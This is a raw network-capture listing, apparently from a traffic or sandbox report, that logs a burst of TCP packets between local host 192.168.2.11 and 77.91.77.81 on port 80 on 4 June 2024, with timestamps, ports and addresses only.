Jun 4, 2024 23:09:16.734239101 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.734639883 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.734683990 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.734833002 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.734844923 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.734855890 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.734864950 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.734882116 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.734883070 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.734894037 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.734894037 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.734905958 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.734915972 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.734920025 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.734921932 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.734932899 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.734944105 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.734944105 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.734961033 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.734972954 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.734977007 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.734985113 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.734988928 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.734999895 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.735011101 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.735012054 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.735021114 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.735032082 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.735038996 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.735043049 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.735053062 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.735055923 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.735064030 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.735069990 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.735075951 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.735086918 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.735097885 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.735099077 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.735109091 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.735119104 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.735119104 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.735138893 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.735138893 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.735156059 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.735158920 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.735167980 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.735177994 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.735181093 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.735191107 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.735200882 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.735203981 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.735207081 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.735218048 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.735229015 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.735235929 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.735241890 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.735253096 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.735255957 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.735263109 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.735272884 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.735275030 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.735285044 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.735291004 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.735295057 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.735306025 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.735316038 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.735317945 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.735327959 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.735338926 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.735344887 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.735352039 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.735363007 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.735363960 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.735373020 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.735374928 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.735383987 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.735394955 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.735400915 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.735405922 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.735425949 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.735429049 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.735445023 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.735457897 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.735466003 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.735493898 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.735502958 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.735508919 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.735512972 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.735574961 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.735578060 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.735586882 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.735601902 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.735611916 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.735619068 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.735621929 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.735631943 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.735641956 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.735656023 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.735676050 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.735682011 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.735686064 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.735702038 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.735728979 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.735742092 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.735758066 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.735769033 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.735800982 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.735943079 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.735960960 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.735972881 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.735985994 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.735999107 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.736000061 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.736008883 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.736010075 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.736021996 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.736033916 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.736040115 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.736046076 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.736056089 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.736058950 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.736068964 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.736078024 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.736080885 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.736088037 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.736102104 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.736114025 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.736119032 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.736131907 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.736138105 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.736150026 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.736154079 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.736162901 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.736175060 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.736175060 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.736182928 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.736188889 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.736200094 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.736203909 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.736212969 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.736222982 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.736224890 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.736238003 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.736244917 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.736248970 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.736259937 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.736262083 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.736270905 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.736284018 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.736284018 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.736294985 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.736306906 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.736308098 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.736319065 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.736319065 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.736331940 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.736342907 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.736342907 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.736356020 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.736366034 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.736367941 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.736378908 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.736380100 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.736409903 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.736430883 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.736506939 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.736547947 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.736646891 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.736659050 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.736670971 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.736682892 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.736694098 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.736697912 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.736711025 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.736717939 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.736725092 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.736732960 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.736737013 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.736748934 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.736759901 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.736759901 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.736772060 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.736788034 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.736794949 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.736805916 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.736823082 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.736824036 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.736835003 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.736841917 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.736849070 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.736856937 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.736860037 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.736871958 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.736874104 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.736885071 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.736886024 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.736897945 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.736897945 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.736908913 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.736916065 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.736921072 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.736927032 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.736933947 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.736953974 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.736957073 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.736970901 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.736974001 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.736984015 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.736996889 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.736998081 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.737005949 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.737010956 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.737023115 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.737023115 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.737035036 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.737035990 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.737041950 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.737047911 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.737051010 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.737052917 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.737059116 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.737063885 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.737068892 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.737073898 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.737078905 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.737085104 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.737096071 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.737118959 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.737127066 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.737138987 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.737150908 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.737159014 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.737162113 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.737169981 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.737178087 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.737190008 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.737195015 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.737202883 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.737215042 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.737215042 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.737227917 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.737240076 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.737241983 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.737253904 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.737266064 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.737267971 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.737273932 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.737307072 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.737339020 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.737375021 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.737500906 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.737515926 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.737535000 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.737548113 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.737557888 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.737560987 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.737576008 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.737584114 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.737590075 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.737598896 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.737601042 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.737612963 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.737622976 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.737626076 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.737637043 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.737649918 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.737652063 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.737658024 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.737673044 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.737689972 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.737692118 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.737708092 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.737718105 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.737730026 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.737730980 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.737747908 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.737760067 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.737766981 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.737771988 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.737782955 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.737786055 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.737802029 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.737808943 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.737813950 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.737826109 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.737834930 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.737838030 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.737848997 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.737850904 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.737863064 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.737874031 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.737878084 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.737890005 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.737900019 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.737901926 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.737912893 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.737917900 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.737925053 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.737940073 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.737947941 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.737962008 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.737967968 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.737979889 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.738004923 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.738006115 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.738018036 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.738020897 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.738030910 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.738044024 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.738044977 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.738051891 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.738055944 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.738068104 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.738068104 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.738080025 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.738081932 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.738091946 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.738099098 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.738105059 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.738106966 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.738116980 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.738127947 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.738133907 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.738141060 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.738152981 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.738157988 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.738164902 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.738176107 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.738183022 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.738188028 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.738195896 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.738199949 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.738205910 CEST	49713	80	192.168.2.11	77.91.77.81
